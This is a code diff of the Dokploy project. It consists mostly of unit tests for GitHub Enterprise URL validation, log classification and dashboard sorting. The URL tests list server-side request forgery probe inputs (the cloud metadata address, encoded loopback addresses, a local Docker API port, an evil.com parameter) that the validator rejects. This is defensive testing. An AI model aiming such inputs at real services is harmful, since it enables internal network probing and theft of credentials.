+		mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
+		);
+		expect(command).not.toContain("github.com");
+	});
+
+	it("clones from a self-hosted Enterprise Server host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.corp.acme.com"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
+		);
+	});
+
+	it("keeps an explicit port in the clone host", async () => {
+		mockFindGithubById.mockResolvedValue(
+			provider("https://github.acme.com:8443"),
+		);
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
+		);
+	});
+
+	it("falls back to github.com for a provider stored before this feature", async () => {
+		mockFindGithubById.mockResolvedValue(provider(""));
+
+		const command = await clone();
+
+		expect(command).toContain(
+			"https://oauth2:gh-token@github.com/acme/web.git",
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts

@@ -0,0 +1,168 @@
+import {
+	DEFAULT_GITHUB_API_URL,
+	DEFAULT_GITHUB_URL,
+	deriveGithubApiUrl,
+	normalizeGithubUrl,
+	parseGithubBaseUrl,
+} from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+
+const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
+	"url" in result ? result.url : null;
+
+describe("normalizeGithubUrl", () => {
+	it("defaults to github.com when empty", () => {
+		expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
+		expect(normalizeGithubUrl("   ")).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("assumes https when no scheme is given", () => {
+		expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
+	});
+
+	it("strips paths, queries and trailing slashes", () => {
+		expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
+			"https://acme.ghe.com",
+		);
+		expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
+			"https://github.acme.com",
+		);
+	});
+
+	it("keeps an explicit port", () => {
+		expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("falls back to github.com on unusable input", () => {
+		expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("http://github.internal")).toBe(
+			DEFAULT_GITHUB_URL,
+		);
+		expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
+	});
+});
+
+describe("parseGithubBaseUrl", () => {
+	it("accepts github.com and Enterprise hosts", () => {
+		expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
+			"https://acme.ghe.com",
+		);
+		// A self-hosted instance behind the corporate network is a valid target.
+		expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
+			"https://github.corp.acme.com",
+		);
+		expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
+			"https://github.acme.com:8443",
+		);
+	});
+
+	it("treats an absent value as github.com", () => {
+		// Not specified is different from specified wrong.
+		expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
+		expect(urlOf(parseGithubBaseUrl("  "))).toBe(DEFAULT_GITHUB_URL);
+	});
+
+	it("rejects plaintext http", () => {
+		expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
+	});
+
+	it("rejects dotless hostnames", () => {
+		expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
+	});
+
+	it("rejects a dotless hostname hidden behind the DNS root label", () => {
+		// "metadata." resolves like "metadata" but the trailing dot would satisfy
+		// a naive `includes(".")` check.
+		expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
+		expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
+	});
+
+	it("never falls back to github.com on a typo", () => {
+		// The symptom that opened the ticket: a provider silently pointing at
+		// github.com and reporting that it cannot find the repositories.
+		for (const typo of [
+			"htps://acme.ghe.com",
+			"ftp://acme.ghe.com",
+			"https://",
+			"acme .ghe.com",
+		]) {
+			const result = parseGithubBaseUrl(typo);
+			expect(result, typo).toHaveProperty("error");
+			expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
+		}
+	});
+});
+
+describe("deriveGithubApiUrl", () => {
+	it("maps github.com to api.github.com", () => {
+		expect(deriveGithubApiUrl("https://github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+		expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
+	});
+
+	it("prefixes api. for data residency tenants", () => {
+		expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
+			"https://api.acme.ghe.com",
+		);
+		expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
+			"https://api.americancreditacceptance.ghe.com",
+		);
+	});
+
+	it("uses /api/v3 for Enterprise Server", () => {
+		expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
+			"https://github.acme.com/api/v3",
+		);
+		expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
+			"https://github.acme.com:8443/api/v3",
+		);
+	});
+
+	it("does not treat a lookalike host as data residency", () => {
+		// Must not match the .ghe.com branch just because the string contains it.
+		expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
+			"https://ghe.com.acme.io/api/v3",
+		);
+	});
+
+	it("still detects data residency behind the DNS root label", () => {
+		// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
+		// through to the /api/v3 branch.
+		expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
+			"https://api.acme.ghe.com",
+		);
+	});
+
+	it("maps www.github.com, which a user may well type", () => {
+		// Not dead weight: GitHub never redirects a manifest there, but the value
+		// comes from a text field. Without this it would derive
+		// https://www.github.com/api/v3.
+		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
+			DEFAULT_GITHUB_API_URL,
+		);
+	});
+});
+
+describe("providers created before Enterprise support", () => {
+	it("keeps pointing at github.com", () => {
+		// The column defaults to https://github.com, but a null must not break it.
+		expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
+		expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
+	});
+});

apps/dokploy/__test__/git-provider/github-setup-handler.test.ts

@@ -0,0 +1,143 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// The gh_init branch runs on a GET the user can be linked into, so a rejected
+// host must produce a 400 *before* any outbound request is made.
+const mockValidateRequest = vi.hoisted(() => vi.fn());
+const mockHasPermission = vi.hoisted(() => vi.fn());
+const mockCreateGithub = vi.hoisted(() => vi.fn());
+const mockOctokitRequest = vi.hoisted(() => vi.fn());
+
+vi.mock("@dokploy/server", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("@dokploy/server")>();
+	return {
+		...actual,
+		validateRequest: mockValidateRequest,
+		createGithub: mockCreateGithub,
+	};
+});
+
+vi.mock("@dokploy/server/services/permission", () => ({
+	hasPermission: mockHasPermission,
+}));
+
+vi.mock("octokit", () => ({
+	Octokit: class {
+		request = mockOctokitRequest;
+	},
+}));
+
+const { default: handler } = await import("@/pages/api/providers/github/setup");
+
+const ORG = "org-1";
+const USER = "user-1";
+
+const buildRes = () => {
+	const res = {
+		statusCode: 0,
+		body: undefined as unknown,
+		redirectedTo: undefined as string | undefined,
+		status(code: number) {
+			res.statusCode = code;
+			return res;
+		},
+		json(payload: unknown) {
+			res.body = payload;
+			return res;
+		},
+		redirect(_code: number, url: string) {
+			res.redirectedTo = url;
+			return res;
+		},
+	};
+	return res;
+};
+
+const call = async (githubUrl?: string | string[]) => {
+	const res = buildRes();
+	const req = {
+		query: {
+			code: "manifest-code",
+			state: `gh_init:${ORG}:${USER}`,
+			...(githubUrl === undefined ? {} : { githubUrl }),
+		},
+		headers: {},
+	} as unknown as Parameters<typeof handler>[0];
+
+	await handler(req, res as unknown as Parameters<typeof handler>[1]);
+	return res;
+};
+
+describe("github setup handler — host validation", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+		mockValidateRequest.mockResolvedValue({
+			user: { id: USER },
+			session: { activeOrganizationId: ORG },
+		});
+		mockHasPermission.mockResolvedValue(true);
+		mockOctokitRequest.mockResolvedValue({
+			data: {
+				name: "Dokploy",
+				html_url: "https://acme.ghe.com/apps/dokploy",
+				id: 1,
+				client_id: "cid",
+				client_secret: "csecret",
+				webhook_secret: "wsecret",
+				pem: "key",
+			},
+		});
+		mockCreateGithub.mockResolvedValue(undefined);
+	});
+
+	it.each([
+		["http://acme.ghe.com", "plaintext http"],
+		["http://localhost:2375", "internal service over http"],
+		["https://metadata", "dotless hostname"],
+		["htps://acme.ghe.com", "scheme typo"],
+	])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
+		const res = await call(githubUrl);
+
+		expect(res.statusCode).toBe(400);
+		expect(mockOctokitRequest).not.toHaveBeenCalled();
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("throws on a repeated parameter instead of silently picking one", async () => {
+		// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
+		await expect(
+			call(["https://acme.ghe.com", "https://evil.com"]),
+		).rejects.toThrow();
+
+		expect(mockCreateGithub).not.toHaveBeenCalled();
+	});
+
+	it("accepts a data residency tenant", async () => {
+		await call("https://acme.ghe.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("accepts a self-hosted Enterprise Server host", async () => {
+		await call("https://github.corp.acme.com");
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
+			ORG,
+			USER,
+		);
+	});
+
+	it("treats an absent parameter as github.com", async () => {
+		await call(undefined);
+
+		expect(mockCreateGithub).toHaveBeenCalledWith(
+			expect.objectContaining({ githubUrl: "https://github.com" }),
+			ORG,
+			USER,
+		);
+	});
+});

apps/dokploy/__test__/git-provider/github-url-parity.test.ts

@@ -0,0 +1,75 @@
+import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
+import { describe, expect, it } from "vitest";
+import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
+
+/**
+ * The client cannot import from @dokploy/server (node-only modules), so
+ * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
+ * stops the two from drifting apart — and they already did once, when the
+ * client stripped trailing slashes but not paths and the form action disagreed
+ * with the persisted row.
+ *
+ * The invariant: for the same input, both must make the same accept/reject
+ * decision, and agree on the URL when they accept.
+ */
+const INPUTS = [
+	// Accepted
+	"https://github.com",
+	"github.com",
+	"https://acme.ghe.com",
+	"acme.ghe.com",
+	"https://github.corp.acme.com",
+	"https://github.acme.com:8443",
+	"https://acme.ghe.com/",
+	"https://acme.ghe.com///",
+	"https://acme.ghe.com/enterprises/foo",
+	"https://acme.ghe.com/some/path?x=1",
+	"  acme.ghe.com  ",
+	"https://acme.ghe.com.",
+	"https://169.254.169.254",
+	"https://127.0.0.1",
+	"https://2130706433",
+	"https://0x7f.1",
+	"",
+	"   ",
+	// Rejected
+	"http://acme.ghe.com",
+	"http://localhost:2375",
+	"https://[::1]",
+	"https://[::ffff:127.0.0.1]",
+	"https://metadata",
+	"https://metadata.",
+	"https://localhost",
+	"https://localhost.",
+	"htps://acme.ghe.com",
+	"ftp://acme.ghe.com",
+	"https://",
+	"acme .ghe.com",
+	"esto no es una url",
+];
+
+describe("client and server agree on GitHub base URLs", () => {
+	it.each(INPUTS)("%j", (input) => {
+		const client = resolveGithubBaseUrl(input);
+		const server = parseGithubBaseUrl(input);
+
+		const clientAccepted = !client.error;
+		const serverAccepted = "url" in server;
+
+		expect(
+			clientAccepted,
+			`accept/reject differs for ${JSON.stringify(input)}`,
+		).toBe(serverAccepted);
+
+		if (clientAccepted && "url" in server) {
+			expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
+				server.url,
+			);
+		}
+	});
+
+	it("both treat an empty value as github.com", () => {
+		expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
+		expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
+	});
+});

apps/dokploy/__test__/logs/log-classification.test.ts

@@ -0,0 +1,42 @@
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+import { expect, test } from "vitest";
+
+test("classifies real failures as error", () => {
+	expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
+	expect(getLogType("[ERROR] something went wrong").type).toBe("error");
+	expect(getLogType("Deployment failed").type).toBe("error");
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
+		).type,
+	).toBe("error");
+});
+
+test("does not classify explicit non-error key/values as error (#4538)", () => {
+	// ofelia job-completion summary for a successful run
+	expect(
+		getLogType(
+			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
+		).type,
+	).not.toBe("error");
+
+	expect(getLogType("request done, error: null").type).not.toBe("error");
+	expect(getLogType("checks passed, failures=0").type).not.toBe("error");
+	expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
+	expect(getLogType('job done failed=false error=""').type).not.toBe("error");
+});
+
+test("keeps errors whose value merely starts with a no-error word", () => {
+	expect(getLogType("connect failed: no route to host").type).toBe("error");
+	expect(getLogType("connection failed: no such host").type).toBe("error");
+	expect(
+		getLogType("error: none of the configured nodes are available").type,
+	).toBe("error");
+	expect(getLogType("error: nil pointer dereference").type).toBe("error");
+	expect(getLogType("request failed: 0 bytes received").type).toBe("error");
+});
+
+test("keeps statusCode-based classification", () => {
+	expect(getLogType('{"statusCode": "500"}').type).toBe("error");
+	expect(getLogType('{"statusCode": "204"}').type).toBe("success");
+});

apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts

@@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
 	"logs",
 	"monitoring",
 	"auditLog",
+	"vaultProvider",
+	"dnsProvider",
 ];
 
 describe("enterpriseOnlyResources set", () => {

apps/dokploy/__test__/server/server-health-subnet.test.ts

@@ -0,0 +1,24 @@
+import { getSubnetCapacity } from "@dokploy/server/services/server-health";
+import { describe, expect, test } from "vitest";
+
+describe("getSubnetCapacity", () => {
+	test("returns null for missing/invalid input", () => {
+		expect(getSubnetCapacity(undefined)).toBeNull();
+		expect(getSubnetCapacity("")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0")).toBeNull();
+		expect(getSubnetCapacity("not-a-subnet")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
+		expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
+	});
+
+	test("excludes network and broadcast addresses", () => {
+		expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
+		expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
+		expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
+	});
+
+	test("returns 0 for subnets too small to hold a host", () => {
+		expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
+		expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
+	});
+});

apps/dokploy/__test__/services/overview-backups-icon.test.ts

@@ -0,0 +1,113 @@
+import {
+	getBackupOverviewIcon,
+	getServiceOverviewIcon,
+} from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+describe("getServiceOverviewIcon", () => {
+	test("returns a db icon for every known DB engine type", () => {
+		for (const type of [
+			"postgres",
+			"mariadb",
+			"mysql",
+			"mongo",
+			"redis",
+			"libsql",
+		] as const) {
+			expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
+				kind: "db",
+				engine: type,
+			});
+		}
+	});
+
+	test("returns a custom icon for application/compose with a service icon set", () => {
+		expect(
+			getServiceOverviewIcon({
+				type: "application",
+				icon: "data:image/png;base64,x",
+			}),
+		).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
+		expect(
+			getServiceOverviewIcon({
+				type: "compose",
+				icon: "data:image/png;base64,y",
+			}),
+		).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
+	});
+
+	test("falls back to a generic icon for application/compose without a service icon", () => {
+		expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
+			{
+				kind: "generic",
+				type: "application",
+			},
+		);
+		expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
+			kind: "generic",
+			type: "compose",
+		});
+	});
+});
+
+describe("getBackupOverviewIcon", () => {
+	test("returns a db icon for a database backup with a known databaseType", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "postgres",
+				serviceType: null,
+				serviceOwnerType: "postgres",
+			}),
+		).toEqual({ kind: "db", engine: "postgres" });
+	});
+
+	test("returns a webServer icon for a web-server database backup", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "web-server",
+				serviceType: null,
+				serviceOwnerType: "web-server",
+			}),
+		).toEqual({ kind: "webServer" });
+	});
+
+	test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: "mysql",
+				serviceType: null,
+				serviceOwnerType: "compose",
+			}),
+		).toEqual({ kind: "db", engine: "mysql" });
+	});
+
+	test("returns a db icon for a volume backup of a known DB engine service", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "mongo",
+				serviceOwnerType: "mongo",
+			}),
+		).toEqual({ kind: "db", engine: "mongo" });
+	});
+
+	test("returns a generic application icon for a volume backup of an application", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "application",
+				serviceOwnerType: "application",
+			}),
+		).toEqual({ kind: "generic", type: "application" });
+	});
+
+	test("returns a generic compose icon for a volume backup of a compose service", () => {
+		expect(
+			getBackupOverviewIcon({
+				databaseType: null,
+				serviceType: "compose",
+				serviceOwnerType: "compose",
+			}),
+		).toEqual({ kind: "generic", type: "compose" });
+	});
+});

apps/dokploy/__test__/services/overview-domains-sort.test.ts

@@ -0,0 +1,79 @@
+import type { OverviewDomain } from "@dokploy/server/services/overview";
+import { sortOverviewDomains } from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
+	domainId: "id",
+	host: "example.com",
+	path: "/",
+	port: 3000,
+	customEntrypoint: null,
+	https: true,
+	certificateType: "letsencrypt",
+	createdAt: "2024-01-01T00:00:00.000Z",
+	enabled: true,
+	domainType: "application",
+	serviceOwnerId: "app",
+	serviceOwnerType: "application",
+	serviceName: "App",
+	projectId: "project",
+	projectName: "Project",
+	environmentId: "environment",
+	environmentName: "Environment",
+	...overrides,
+});
+
+describe("sortOverviewDomains", () => {
+	test("sorts by createdAt asc/desc", () => {
+		const domains = [
+			makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
+			makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
+			makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
+		).toEqual(["old", "mid", "new"]);
+		expect(
+			sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
+		).toEqual(["new", "mid", "old"]);
+	});
+
+	test("sorts by port asc/desc, with portless domains always last", () => {
+		const domains = [
+			makeDomain({ domainId: "none", port: null }),
+			makeDomain({ domainId: "low", port: 80 }),
+			makeDomain({ domainId: "high", port: 8080 }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
+		).toEqual(["low", "high", "none"]);
+		expect(
+			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
+		).toEqual(["high", "low", "none"]);
+	});
+
+	test("port sort with all domains portless is a no-op", () => {
+		const domains = [
+			makeDomain({ domainId: "a", port: null }),
+			makeDomain({ domainId: "b", port: null }),
+		];
+
+		expect(
+			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
+		).toEqual(["a", "b"]);
+	});
+
+	test("does not mutate the input array", () => {
+		const domains = [
+			makeDomain({ domainId: "b", port: 8080 }),
+			makeDomain({ domainId: "a", port: 80 }),
+		];
+		const original = [...domains];
+
+		sortOverviewDomains(domains, "port-asc");
+
+		expect(domains).toEqual(original);
+	});
+});

apps/dokploy/__test__/services/overview-services-sort.test.ts

@@ -0,0 +1,106 @@
+import type { OverviewService } from "@dokploy/server/services/overview";
+import { sortOverviewServices } from "@dokploy/server/services/overview";
+import { describe, expect, test } from "vitest";
+
+const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
+	id: "id",
+	type: "application",
+	name: "name",
+	appName: "app-name",
+	status: "running",
+	createdAt: "2024-01-01T00:00:00.000Z",
+	serverId: null,
+	serverName: null,
+	icon: null,
+	projectId: "project",
+	projectName: "Project",
+	environmentId: "environment",
+	environmentName: "Environment",
+	lastDeployAt: null,
+	...overrides,
+});
+
+describe("sortOverviewServices", () => {
+	test("sorts by name asc/desc", () => {
+		const services = [
+			makeService({ id: "b", name: "Bravo" }),
+			makeService({ id: "a", name: "Alpha" }),
+			makeService({ id: "c", name: "Charlie" }),
+		];
+
+		expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
+			["a", "b", "c"],
+		);
+		expect(
+			sortOverviewServices(services, "name-desc").map((s) => s.id),
+		).toEqual(["c", "b", "a"]);
+	});
+
+	test("sorts by type asc/desc", () => {
+		const services = [
+			makeService({ id: "app", type: "application" }),
+			makeService({ id: "pg", type: "postgres" }),
+			makeService({ id: "comp", type: "compose" }),
+		];
+
+		expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
+			["app", "comp", "pg"],
+		);
+		expect(
+			sortOverviewServices(services, "type-desc").map((s) => s.id),
+		).toEqual(["pg", "comp", "app"]);
+	});
+
+	test("sorts by createdAt asc/desc", () => {
+		const services = [
+			makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
+			makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
+			makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
+		).toEqual(["old", "mid", "new"]);
+		expect(
+			sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
+		).toEqual(["new", "mid", "old"]);
+	});
+
+	test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
+		const services = [
+			makeService({ id: "never", lastDeployAt: null }),
+			makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
+			makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
+		];
+
+		expect(
+			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
+		).toEqual(["new", "old", "never"]);
+		expect(
+			sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
+		).toEqual(["old", "new", "never"]);
+	});
+
+	test("lastDeploy sort with all services never deployed is a no-op", () => {
+		const services = [
+			makeService({ id: "a", lastDeployAt: null }),
+			makeService({ id: "b", lastDeployAt: null }),
+		];
+
+		expect(
+			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
+		).toEqual(["a", "b"]);
+	});
+
+	test("does not mutate the input array", () => {
+		const services = [
+			makeService({ id: "b", name: "Bravo" }),
+			makeService({ id: "a", name: "Alpha" }),
+		];
+		const original = [...services];
+
+		sortOverviewServices(services, "name-asc");
+
+		expect(services).toEqual(original);
+	});
+});

apps/dokploy/__test__/traefik/forward-auth.test.ts

@@ -35,6 +35,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 describe("forwardAuthMiddlewareName", () => {

apps/dokploy/__test__/traefik/traefik.test.ts

@@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
 	rollbackActive: false,
 	applicationId: "",
 	previewLabels: [],
+	networkIds: [],
+	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",
@@ -149,6 +151,7 @@ const baseDomain: Domain = {
 	stripPath: false,
 	middlewares: null,
 	forwardAuthEnabled: false,
+	enabled: true,
 };
 
 const baseRedirect: Redirect = {

apps/dokploy/__test__/utils/log-type.test.ts

@@ -0,0 +1,108 @@
+import { describe, expect, test } from "vitest";
+import { getLogType } from "@/components/dashboard/docker/logs/utils";
+
+describe("getLogType", () => {
+	describe("explicit level declared by structured loggers", () => {
+		test("JSON string levels (pino, winston, zap)", () => {
+			expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
+		});
+
+		test("JSON numeric levels (pino, bunyan)", () => {
+			expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
+			expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
+		});
+
+		test("syslog/GELF numeric levels", () => {
+			expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
+			expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
+		});
+
+		test("GCP-style severity and ECS log.level", () => {
+			expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
+				"error",
+			);
+			expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
+				"warning",
+			);
+			expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
+				"error",
+			);
+		});
+
+		test("logfmt levels", () => {
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
+			).toBe("error");
+			expect(
+				getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
+			).toBe("info");
+			expect(getLogType("level=warn msg=careful").type).toBe("warning");
+		});
+
+		test("declared level wins over keywords in the message (#4589, #1996)", () => {
+			// "version"/"GET" in this pino line would otherwise match the debug keywords
+			const pinoError =
+				'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
+			expect(getLogType(pinoError).type).toBe("error");
+
+			// info line containing error-like keywords (#4589)
+			expect(
+				getLogType(
+					'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
+				).type,
+			).toBe("info");
+
+			// successful job summary with "failed: false, error: none" (#4538)
+			expect(
+				getLogType(
+					'level=info msg="Finished job, failed: false, skipped: false, error: none"',
+				).type,
+			).toBe("info");
+		});
+
+		test("declared level wins over statusCode", () => {
+			expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
+		});
+
+		test("unknown level names fall back to keyword detection", () => {
+			expect(
+				getLogType('{"level":"verbose","msg":"connection failed"}').type,
+			).toBe("error");
+		});
+
+		test("env-var-like text is not treated as logfmt level", () => {
+			expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
+				"error",
+			);
+		});
+	});
+
+	describe("fallback detection for unstructured logs (unchanged)", () => {
+		test("statusCode classification", () => {
+			expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
+			expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
+			expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
+		});
+
+		test("keyword classification", () => {
+			expect(getLogType("error: something broke").type).toBe("error");
+			expect(getLogType("warning: disk almost full").type).toBe("warning");
+			expect(getLogType("Server listening on port 8080").type).toBe("success");
+		});
+
+		test("defaults to info", () => {
+			expect(getLogType("hello world").type).toBe("info");
+		});
+	});
+});

apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx

@@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
 												To use a cluster feature, you need to configure at least
 												a registry first. Please, go to{" "}
 												<Link
-													href="/dashboard/settings/cluster"
+													href="/dashboard/docker?tab=swarm&subtab=nodes"
 													className="text-foreground"
 												>
 													Settings

apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx

@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
 								</Button>
 							</div>
 							<Dialog open={showModal} onOpenChange={setShowModal}>
-								<DialogContent className="max-w-[50vw]">
